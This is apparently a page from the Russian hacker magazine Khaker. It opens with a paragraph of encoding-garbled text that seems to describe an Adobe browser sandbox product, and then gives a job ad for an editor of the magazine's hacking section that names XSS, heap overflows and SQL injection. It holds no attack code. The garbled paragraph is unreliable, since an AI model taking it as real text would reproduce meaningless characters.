ØÓÏ ÞÓÏ ÐÑÏÅÔËÓ Adobe — ÔÇÆ ÄÁÑÁÎÓ ËÁØÆÒÓÃÁ. ̧ ÆÑÆÈ ÔÅÏÂÎÜÊ ÉÎÓÆÑÕÆÊÒ 
ÓÜ ÍÏÇÆÙÝ ÐÑÏÁÎÁÌÉÈÉÑÏÃÁÓÝ, ËÁË ÈÁÐÑÏÙÆÎÎÜÊ ÒÁÊÓ ÏÓÏÂÑÁÇÁÆÓÒà 
Ã ÒÁÍÜÖ ÑÁÈÎÜÖ ÂÑÁÔÈÆÑÁÖ É ̄ ² ÂÆÈ ÎÆÏÂÖÏÅÉÍÏÒÓÉ ÔÒÓÁÎÁÃÌÉÃÁÓÝ Ã 
ÒÉÒÓÆÍÆ ÅÏÐÏÌÎÉÓÆÌÝÎÜÊ ÒÏÕÓ É ÒÉÒÓÆÍÜ ÃÉÑÓÔÁÌÉÈÁ×ÉÉ. ®ÔÇÎÏ ÓÏÌÝËÏ 
ÃÂÉÓÝ URL ÎÔÇÎÏÄÏ ÒÁÊÓÁ. ¡ ÅÁÌÝÙÆ ÍÏÇÎÏ ÐÑÏÒÓÏ ÐÆÑÆËÌßØÁÓÝÒà ÍÆÇÅÔ 
ÃÉÅÁÍÉ, ÒÑÁÃÎÉÃÁÓÝ ÉÖ, ÑÁÒÐÏÌÏÇÉÃ ÑàÅÏÍ ÉÌÉ ÅÁÇÆ ÎÁÌÏÇÉÃ ÏÅÉÎ ÎÁ 
ÅÑÔÄÏÊ, ÃÜÑÁÃÎÉÃÁÓÝ ÐÏ ÒÆÓËÆ É Ó.Å. ̄ ØÆÎÝ ËÁØÆÒÓÃÆÎÎÁà ÑÆÁÌÉÈÁ×Éà 
ÉÅÆÉ, ËÏÓÏÑÁà ÐÏËÁ ÐÑÆÅÏÒÓÁÃÌàÆÓÒà ÒÏÃÆÑÙÆÎÎÏ ÂÆÒÐÌÁÓÎÏ.



Журнал Хакер ищет кандидатов 
на должность редактора

рубрики Взлом

Основные приметы:
• На вид 18-25 лет
• Читает журнал Хакер и мечтает в нем поработать
• Знает слова «XSS» и «Heap overflow»
• Умеет и любит лечить SQL-инъекции от слепоты
• В курсе, чем null-byte отличается от gigabyte
• Предпочтет поездку на Black Hat алкотуру в Ебипте
• С первого раза отличает хорошую статью от плохой
• Способен связать больше 5 слов в читаемое предложение
• Готов к жесткой работе по вербовке новых авторов
• Умеет читать технические тексты на английском

Обращаться на адрес nikitoz@real.xakep.ru
со строкой «VZLOM» в теме письма
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